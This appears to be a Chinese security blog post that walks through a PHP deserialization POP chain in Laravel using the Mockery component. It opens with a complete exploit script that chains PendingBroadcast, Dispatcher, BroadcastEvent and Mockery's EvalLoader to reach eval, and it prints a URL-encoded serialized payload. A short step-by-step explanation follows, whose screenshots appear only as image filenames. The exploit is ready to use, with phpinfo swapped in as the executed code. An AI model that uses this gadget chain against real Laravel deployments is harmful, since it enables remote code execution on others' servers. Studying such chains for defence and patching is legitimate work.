POP链挖掘

Laravel mockery组件

exp:

<?php
namespace Illuminate\Broadcasting{
  class PendingBroadcast
  {
    protected $event;
    protected $events;

    public function __construct($events,$event)
    {
      $this->events = $events;
      $this->event = $event;
    }
  }
}

namespace Illuminate\Bus{
  class Dispatcher
  {
    protected $queueResolver;

    public function __construct($queueResolver)
    {
      $this->queueResolver = $queueResolver;
    }
  }
}

namespace Illuminate\Broadcasting{
  class BroadcastEvent
  {
    public $connection;

    public function __construct($connection)
    {
      $this->connection = $connection;
    }
  }
}


namespace Mockery\Generator{
  class MockDefinition
  {
    protected $config;
    protected $code = '<?php phpinfo();?>';

    public function __construct($config)
    {
      $this->config = $config;
    }
  }
}

namespace Mockery\Generator{
  class MockConfiguration
  {
    protected $name = '1234';
  }
}

namespace Mockery\Loader{
  class EvalLoader
  {
     public function load(MockDefinition $definition)
     {

     }
  }
}

namespace{
  $Mockery = new Mockery\Loader\EvalLoader();
  $queueResolver = array($Mockery, "load");
  $MockConfiguration = new Mockery\Generator\MockConfiguration();
  $MockDefinition = new Mockery\Generator\MockDefinition($MockConfiguration);
  $BroadcastEvent = new Illuminate\Broadcasting\BroadcastEvent($MockDefinition);
  $Dispatcher = new Illuminate\Bus\Dispatcher($queueResolver);
  $PendingBroadcast = new Illuminate\Broadcasting\PendingBroadcast($Dispatcher,$BroadcastEvent);
  echo urlencode(serialize($PendingBroadcast));
}
?>

构造过程

入口类: PendingBroadcast

10651191-bacfb14e55649c24.png

这里的 $this->eventsDispatcher 接口的,这里我们找到一个实现了 Dispatcher 接口的类

10651191-53fbd58b12ec0f73.png

跟进

10651191-925e35d3a72da56e.png

看一下 commandShouldBeQueued 方法

10651191-7bb345e0966b0ad8.png

要求 $command 实现了 ShouldQueue 接口,注意此时的 $command 其实就是 PendingBroadcast$event(是可控的)

10651191-d6a9487eb5ffdf41.png

找到其中一个类 BroadcastEvent,我们可以将 PendingBroadcast$event 覆盖为 BroadcastEvent

继续跟进 dispatchToQueue 方法,看到 call_user_func 方法

10651191-3a9964d202b5e422.png

注意此时的 $command 其实已经覆盖为 BroadcastEvent 类了, connetcion 属性可控

此时我们要考虑调用哪个函数,这里使用了 EvalLoader

10651191-75670fa364790bcc.png

如果要调用这个函数,那么 if 条件必须是 false,查看 MockDefinition

10651191-c48af422ec7b394c.png

覆盖 $this-configMockConfiguration 这个类,给它的 name 属性随便赋值即可

10651191-362f515910992517.png

ok就到这里了

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值